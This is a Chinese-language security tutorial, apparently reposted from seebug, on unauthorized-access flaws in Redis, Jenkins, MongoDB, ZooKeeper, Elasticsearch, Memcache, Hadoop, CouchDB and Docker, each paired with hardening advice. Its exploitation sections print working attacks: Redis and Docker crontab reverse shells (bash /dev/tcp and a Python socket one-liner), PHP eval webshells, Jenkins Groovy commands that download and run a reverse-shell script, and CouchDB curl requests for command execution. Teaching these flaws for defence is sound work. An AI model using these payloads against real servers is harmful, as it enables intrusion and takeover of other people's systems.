遵紀(jì)守法
任何個(gè)人和組織使用網(wǎng)絡(luò)應(yīng)當(dāng)遵守憲法法律,遵守公共秩序,尊重社會(huì)公德,不得危害網(wǎng)絡(luò)安全,不得利用網(wǎng)絡(luò)從事危害國(guó)家安全、榮譽(yù)和利益
0x01 介紹
未授權(quán)訪問(wèn)可以理解為需要安全配置或權(quán)限認(rèn)證的地址、授權(quán)頁(yè)面存在缺陷,導(dǎo)致其他用戶可以直接訪問(wèn),從而引發(fā)重要權(quán)限可被操作、數(shù)據(jù)庫(kù)、網(wǎng)站目錄等敏感信息泄露。
目前主要存在未授權(quán)訪問(wèn)漏洞的有:NFS 服務(wù),Samba 服務(wù),LDAP,Rsync,F(xiàn)TP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等,本文主要介紹一些目前比較常用的一些服務(wù)的未授權(quán)訪問(wèn),歡迎大家補(bǔ)充!
0x02 Redis未授權(quán)訪問(wèn)
2.1 漏洞描述
Redis 因配置不當(dāng)可以未授權(quán)訪問(wèn)。攻擊者無(wú)需認(rèn)證訪問(wèn)到內(nèi)部數(shù)據(jù),可導(dǎo)致敏感信息泄露,也可以惡意執(zhí)行 flushall 來(lái)清空所有數(shù)據(jù)。如果 Redis 以 root 身份運(yùn)行,可以給 root 賬戶寫(xiě)入 SSH 公鑰文件,直接通過(guò) SSH 登錄受害服務(wù)器。
2.2 漏洞利用
1、利用計(jì)劃任務(wù)執(zhí)行命令反彈shell
在 redis 以 root 權(quán)限運(yùn)行時(shí)可以寫(xiě) crontab 來(lái)執(zhí)行命令反彈shell
先在自己的服務(wù)器上監(jiān)聽(tīng)一個(gè)端口
nc -lvnp 4444
然后執(zhí)行命令:
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
2、寫(xiě) ssh-keygen 公鑰登錄服務(wù)器
在以下條件下,可以利用此方法
- Redis服務(wù)使用 root 賬號(hào)啟動(dòng)
- 服務(wù)器開(kāi)放了 SSH 服務(wù),而且允許使用密鑰登錄,即可遠(yuǎn)程寫(xiě)入一個(gè)公鑰,直接登錄遠(yuǎn)程服務(wù)器。此方法具體參考:redis配置不當(dāng)可直接導(dǎo)致服務(wù)器被控制
3、獲取 web 服務(wù)的 webshell
當(dāng) redis 權(quán)限不高時(shí),并且服務(wù)器開(kāi)著 web 服務(wù),在 redis 有 web 目錄寫(xiě)權(quán)限時(shí),可以嘗試往 web 路徑寫(xiě) webshell。
執(zhí)行以下命令
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
即可將 shell 寫(xiě)入 web 目錄
2.3 漏洞加固
可以配置 redis.conf 這個(gè)文件,在安裝目錄下
1、默認(rèn)只對(duì)本地開(kāi)放
bind 127.0.0.1
2、添加登陸密碼
requirepass www.secpulse.com
3、在需要對(duì)外開(kāi)放的時(shí)候修改默認(rèn)端口
port 2333
4、最后還可以配合iptables限制開(kāi)放
0x03 Jenkins 未授權(quán)訪問(wèn)
3.1 漏洞描述
默認(rèn)情況下 Jenkins 面板中用戶可以選擇執(zhí)行腳本界面來(lái)操作一些系統(tǒng)層命令,攻擊者可通過(guò)未授權(quán)訪問(wèn)漏洞或者暴力破解用戶密碼等進(jìn)腳本執(zhí)行界面從而獲取服務(wù)器權(quán)限。
3.2 漏洞利用
1、Jenkins 未授權(quán)訪問(wèn)可執(zhí)行命令
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
println "ifconfig -a".execute().text 執(zhí)行一些系統(tǒng)命令
直接 wget 下載 back.py 反彈 shell
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
back.py 并不需要 root 權(quán)限
不想反彈試試 Terminal Plugin
2、Jenkins 未授權(quán)訪問(wèn)寫(xiě) shell
jenskins 是 java web 項(xiàng)目,我們用 java 的 File 類寫(xiě)文件
new File("c://temp//secpulse.txt").write("""
1
2
3
""");
新建一個(gè)內(nèi)容為1,2,3(每一行)的 1.txt 到 c 盤(pán)的 temp 文件夾,運(yùn)行如下命令println “powershell dir c:\temp”.execute().text如果寫(xiě)成功,那么 secpulse.txt 就會(huì)在返回結(jié)果中!
wget寫(xiě)webshell
1\. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2\. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3\. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4\. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//參數(shù)-n 不要在最后自動(dòng)換行
Result: 0 表示成功寫(xiě)入 Result: 1 表示目錄不存在或者權(quán)限不足 寫(xiě)入失敗 Result: 2 表示構(gòu)造有異常 寫(xiě)入失敗
具體其他詳細(xì)利用方法參考:知其一不知其二之Jenkins Hacking
3.3 漏洞加固
1、禁止把Jenkins直接暴露在公網(wǎng)
2、添加認(rèn)證,設(shè)置強(qiáng)密碼復(fù)雜度及賬號(hào)鎖定。
0x04 MongoDB未授權(quán)訪問(wèn)
4.1 漏洞描述
開(kāi)啟 MongoDB 服務(wù)時(shí)不添加任何參數(shù)時(shí),默認(rèn)是沒(méi)有權(quán)限驗(yàn)證的,而且可以遠(yuǎn)程訪問(wèn)數(shù)據(jù)庫(kù),登錄的用戶可以通過(guò)默認(rèn)端口無(wú)需密碼對(duì)數(shù)據(jù)庫(kù)進(jìn)行增、刪、改、查等任意高危操作。
4.2 漏洞利用
4.3 漏洞加固
1、為MongoDB添加認(rèn)證:
1)MongoDB啟動(dòng)時(shí)添加--auth參數(shù)
2)給MongoDB添加用戶:
use admin #使用admin庫(kù)
db.addUser("root", "123456") #添加用戶名root密碼123456的用戶
db.auth("root","123456") #驗(yàn)證下是否添加成功,返回1說(shuō)明成功
2、禁用HTTP和REST端口
MongoDB 自身帶有一個(gè) HTTP 服務(wù)和并支持 REST 接口。在2.6以后這些接口默認(rèn)是關(guān)閉的。mongoDB 默認(rèn)會(huì)使用默認(rèn)端口監(jiān)聽(tīng)web服務(wù),一般不需要通過(guò) web 方式進(jìn)行遠(yuǎn)程管理,建議禁用。修改配置文件或在啟動(dòng)的時(shí)候選擇 –nohttpinterface 參數(shù) nohttpinterface=false
3、限制綁定IP
啟動(dòng)時(shí)加入?yún)?shù)--bind_ip 127.0.0.1
或在/etc/mongodb.conf文件中添加以下內(nèi)容:bind_ip = 127.0.0.1
0x05 ZooKeeper 未授權(quán)訪問(wèn)
5.1 漏洞描述
Zookeeper 的默認(rèn)開(kāi)放端口是2181。Zookeeper 安裝部署之后默認(rèn)情況下不需要任何身份驗(yàn)證,造成攻擊者可以遠(yuǎn)程利用 Zookeeper,通過(guò)服務(wù)器收集敏感信息或者在 Zookeeper 集群內(nèi)進(jìn)行破壞(比如:kill命令)。攻擊者能夠執(zhí)行所有只允許由管理員運(yùn)行的命令。
5.2 漏洞利用
執(zhí)行以下命令即可遠(yuǎn)程獲取該服務(wù)器的環(huán)境: echo envi | nc ip port
直接連接: ./zkCli.sh -server ip:port
5.3 漏洞加固
1、禁止把 Zookeeper 直接暴露在公網(wǎng)
2、添加訪問(wèn)控制,根據(jù)情況選擇對(duì)應(yīng)方式(認(rèn)證用戶,用戶名密碼)
3、綁定指定 IP 訪問(wèn)
0x06 Elasticsearch 未授權(quán)訪問(wèn)
6.1 漏洞描述
Elasticsearch 是一款 java 編寫(xiě)的企業(yè)級(jí)搜索服務(wù)。越來(lái)越多的公司使用 ELK 作為日志分析,啟動(dòng)此服務(wù)默認(rèn)會(huì)開(kāi)放9200端口,可被非法操作數(shù)據(jù)
6.2 漏洞利用
漏洞檢測(cè):默認(rèn)端口9200
相當(dāng)于一個(gè)API,任何人訪問(wèn)這個(gè)地址,就可以調(diào)用api,進(jìn)行數(shù)據(jù)的增刪改操作。
6.3 漏洞加固
1、防火墻上設(shè)置禁止外網(wǎng)訪問(wèn) 9200 端口。
2、使用 Nginx 搭建反向代理,通過(guò)配置 Nginx 實(shí)現(xiàn)對(duì) Elasticsearch 的認(rèn)證
3、限制IP訪問(wèn),綁定固定IP
4、在config/elasticsearch.yml中為 9200 端口設(shè)置認(rèn)證:
http.basic.enabled true #開(kāi)關(guān),開(kāi)啟會(huì)接管全部HTTP連接
http.basic.user "admin" #賬號(hào)
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
0x07 Memcache 未授權(quán)訪問(wèn)
7.1 漏洞描述
Memcached 是一套常用的 key-value 緩存系統(tǒng),由于它本身沒(méi)有權(quán)限控制模塊,所以對(duì)公網(wǎng)開(kāi)放的 Memcache 服務(wù)很容易被攻擊者掃描發(fā)現(xiàn),攻擊者通過(guò)命令交互可直接讀取 Memcached 中的敏感信息。
7.2 漏洞利用
1、登錄機(jī)器執(zhí)行netstat -an |more命令查看端口監(jiān)聽(tīng)情況?;仫@ 0.0.0.0:11211 表示在所有網(wǎng)卡進(jìn)行監(jiān)聽(tīng),存在 memcached 未授權(quán)訪問(wèn)漏洞。
2、telnet <target> 11211,或nc -vv <target> 11211,提示連接成功表示漏洞存在
7.3 漏洞加固
1、設(shè)置 memchached 只允許本地訪問(wèn)
2、禁止外網(wǎng)訪問(wèn) Memcached 11211 端口
3、編譯時(shí)加上–enable-sasl,啟用SASL認(rèn)證
0x08 Hadoop 未授權(quán)訪問(wèn)
8.1 漏洞描述
由于服務(wù)器直接在開(kāi)放了 Hadoop 機(jī)器 HDFS 的 50070 web 端口及部分默認(rèn)服務(wù)端口,黑客可以通過(guò)命令行操作多個(gè)目錄下的數(shù)據(jù),如進(jìn)行刪除,下載,目錄瀏覽甚至命令執(zhí)行等操作,產(chǎn)生極大的危害。
8.2 漏洞利用
主要 HDFS 和 MapReduce 的 WebUI 對(duì)應(yīng)的服務(wù)端口。
其中比較重要的是 DataNode 默認(rèn)端口 50075 開(kāi)放的話,攻擊者可以通過(guò) hdsf 提供的 restful api 對(duì) hdfs 存儲(chǔ)數(shù)據(jù)進(jìn)行操作。
restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html
8.3 漏洞加固
1、如無(wú)必要,關(guān)閉 Hadoop Web 管理頁(yè)面
2、開(kāi)啟身份驗(yàn)證,防止未經(jīng)授權(quán)用戶訪問(wèn)
3、設(shè)置“安全組”訪問(wèn)控制策略,將 Hadoop 默認(rèn)開(kāi)放的多個(gè)端口對(duì)公網(wǎng)全部禁止或限制可信任的 IP 地址才能訪問(wèn)包括 50070 以及 WebUI 等相關(guān)端口,詳細(xì)端口列表如下:
a)HDFS
NameNode 默認(rèn)端口 50070
DataNode 默認(rèn)端口 50075
httpfs 默認(rèn)端口14000
journalnode 默認(rèn)端口 8480
b)YARN(JobTracker)
ResourceManager 默認(rèn)端口8088
JobTracker 默認(rèn)端口 50030
TaskTracker 默認(rèn)端口 50060
c)Hue 默認(rèn)端口 8080
d)YARN(JobTracker)
master 默認(rèn)端口 60010
regionserver 默認(rèn)端口60030
e)hive-server2 默認(rèn)端口 10000
f)spark-jdbcserver 默認(rèn)端口 10003
0x09 CouchDB 未授權(quán)訪問(wèn)
9.1 漏洞描述
CouchDB 默認(rèn)在 5984 端口開(kāi)放 Restful 的 API 接口,用于數(shù)據(jù)庫(kù)的管理功能。其 HTTP Server 默認(rèn)開(kāi)啟時(shí)沒(méi)有進(jìn)行驗(yàn)證,而且綁定在0.0.0.0,所有用戶均可通過(guò) API 訪問(wèn)導(dǎo)致未授權(quán)訪問(wèn)。任何連接到服務(wù)器端口上的人,都可以調(diào)用相關(guān) API 對(duì)服務(wù)器上的數(shù)據(jù)進(jìn)行任意的增刪改查,其中通過(guò) API 修改 local.ini 配置文件,可進(jìn)一步導(dǎo)致執(zhí)行任意系統(tǒng)命令,獲取服務(wù)器權(quán)限!
9.2 漏洞利用
新增query_server配置,這里執(zhí)行ifconfig命令
curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一個(gè)臨時(shí)表,插入一條記錄
curl -X PUT 'http://x.x.x.x:5984/vultest'
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
調(diào)用query_server處理數(shù)據(jù)
curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
當(dāng)然你也可以直接執(zhí)行其他命令,下載個(gè)其他什么的
9.3 漏洞加固
1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然后保存。注:修改后只有本機(jī)才能訪問(wèn)CouchDB。
2、設(shè)置訪問(wèn)密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼
0x010 Docker 未授權(quán)訪問(wèn)
10.1 漏洞描述
Docker Remote API 是一個(gè)取代遠(yuǎn)程命令行界面(rcli)的REST API。通過(guò) docker client 或者 http 直接請(qǐng)求就可以訪問(wèn)這個(gè) API,通過(guò)這個(gè)接口,我們可以新建 container,刪除已有 container,甚至是獲取宿主機(jī)的 shell
10.2 漏洞利用
http://192.168.198.130:2375/v1.25/images/json 可以獲取到所有的 images 列表
http://host:2375/containers/json
會(huì)返回服務(wù)器當(dāng)前運(yùn)行的 container 列表,和在 docker CLI 上執(zhí)行 docker ps 的效果一樣,過(guò) Post 包我們還可以新建、開(kāi)啟和關(guān)閉容器,其他操作比如拉取 image 等操作也都可以通過(guò) API 調(diào)用完成。
$ curl http://10.10.10.10:2375/containers/json
[]
docker -H=tcp://10.10.10.10:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Docker remote Api 未授權(quán)訪問(wèn)的攻擊原理與之前的 Redis 未授權(quán)訪問(wèn)漏洞大同小異,都是通過(guò)向運(yùn)行該應(yīng)用的服務(wù)器寫(xiě)文件,從而拿到服務(wù)器的權(quán)限,常見(jiàn)的利用方法如下:
1、啟動(dòng)一個(gè)容器,掛載宿主機(jī)的/root/目錄,之后將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內(nèi)容寫(xiě)到入宿主機(jī)的/root/.ssh/authorized_keys文件中,之后就可以用root賬戶直接登錄了
2、啟動(dòng)一個(gè)容器,掛載宿主機(jī)的/etc/目錄,之后將反彈shell的腳本寫(xiě)入到/etc/crontab中,攻擊者會(huì)得到一個(gè)反彈的shell,其中反彈shell腳本的樣例如下:
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
第2種利用方法也可以掛載 var/spool/cron/目錄,將反彈shell的腳本寫(xiě)入到/var/spool/cron/root(centos系統(tǒng))或/var/spool/cron/crontabs/root(ubuntu系統(tǒng))
10.3 漏洞加固
1、在不必需的情況下,不要啟用 docker 的 remote api 服務(wù),如果必須使用的話,可以采用如下的加固方式:
設(shè)置 ACL,僅允許信任的來(lái)源 IP 連接;
設(shè)置 TLS 認(rèn)證,官方的文檔為 Protect the Docker daemon socket
2、客戶端連接時(shí)需要設(shè)置以下環(huán)境變量 export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服務(wù)器前面加一個(gè)代理,例如 nginx,設(shè)置 401 認(rèn)證
轉(zhuǎn)載出自:https://paper.seebug.org/409